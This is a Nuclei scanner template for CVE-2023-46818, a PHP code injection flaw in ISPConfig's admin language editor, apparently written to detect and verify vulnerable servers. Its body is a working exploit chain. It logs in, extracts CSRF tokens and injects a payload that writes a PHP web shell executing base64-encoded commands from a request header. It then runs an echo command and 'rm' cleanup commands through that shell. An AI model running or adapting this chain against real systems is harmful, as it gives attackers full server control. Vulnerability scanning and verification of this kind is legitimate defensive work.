id: CVE-2023-46818

info:
  name: ISPConfig - PHP Code Injection
  author: non-things
  severity: high
  description: |
    An issue was discovered in ISPConfig before 3.2.11p1. PHP code injection can be achieved in the language file editor by an admin if admin_allow_langedit is enabled.
  impact: |
    Authenticated administrators can inject and execute arbitrary PHP code, potentially gaining complete server control.
  remediation: |
    Upgrade ISPConfig to version 3.2.11p1 or later, and ensure admin_allow_langedit is disabled unless absolutely necessary.
  reference:
    - https://www.ispconfig.org/blog/ispconfig-3-2-11p1-released/
    - http://packetstormsecurity.com/files/176126/ISPConfig-3.2.11-PHP-Code-Injection.html
    - http://seclists.org/fulldisclosure/2023/Dec/2
    - https://nvd.nist.gov/vuln/detail/CVE-2023-46818
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2023-46818
    cwe-id: CWE-94
    epss-score: 0.88992
    epss-percentile: 0.99539
  metadata:
    verified: true
    max-request: 1
    product: ispconfig
  tags: cve,cve2023,ispconfig,php,rce,vuln

flow: http(1) && http(2) && http(3) && http(4) && http(5) && http(6)

variables:
  lang-file: "{{rand_text_alpha(26)}}.lng"
  websh-file: "{{rand_text_alphanumeric(32)}}.php"
  websh: "<?php print('____'); passthru(base64_decode($_SERVER['HTTP_C'])); print('____'); ?>"
  websh-base64: "{{base64(websh)}}"
  payload: "'];file_put_contents('{{websh-file}}',base64_decode('{{websh-base64}}'));die;#"
  payload-url-enc: "{{url_encode(payload)}}"
  echo-cmd-hash: "{{rand_text_alphanumeric(32)}}"
  echo-cmd: "echo {{echo-cmd-hash}}"

http:
  - raw:
      - |
        POST /login/index.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}&s_mod=login

    matchers:
      - type: dsl
        dsl:
          - 'contains(header, "Set-Cookie")'
          - 'status_code == 302'
        condition: and

  - raw:
      - |
        POST /admin/language_edit.php HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Content-Type: application/x-www-form-urlencoded

        lang=en&module=help&lang_file={{lang-file}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(response, "_csrf_id", "_csrf_key")'
          - 'status_code == 200'
        condition: and

    extractors:
      - type: regex
        name: lang_file_location
        group: 1
        regex:
          - "<legend>Language file: (.*)</legend>"
        internal: true

      - type: regex
        name: csrf_id
        group: 1
        regex:
          - "_csrf_id\" value=\"(.*)\" />"
        internal: true

      - type: regex
        name: csrf_key
        group: 1
        regex:
          - "_csrf_key\" value=\"(.*)\" />"
        internal: true

  - raw:
      - |
        POST /admin/language_edit.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        lang=en&module=help&lang_file={{lang-file}}&_csrf_id={{csrf_id}}&_csrf_key={{csrf_key}}&records[%5C]={{payload-url-enc}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'

  - raw:
      - |
        GET /admin/{{websh-file}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        C: {{base64(echo-cmd)}}

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "{{echo-cmd-hash}}"

  - raw:
      - |
        GET /admin/{{websh-file}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        C: {{base64('rm ' + lang_file_location)}}

    matchers:
      - type: status
        status:
          - 200

  - raw:
      - |
        GET /admin/{{websh-file}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        C: {{base64('rm ' + websh-file)}}

    matchers:
      - type: status
        status:
          - 200
# digest: 4a0a0047304502203241b35a52233443025284bf7356148d95728df7524127a9a32dc9ed39556710022100fd556248d29c0a551e0b98c0fa66ccef64ff8760f31385e0828621a521c24bdb:922c64590222798bb761d5b6d8e72950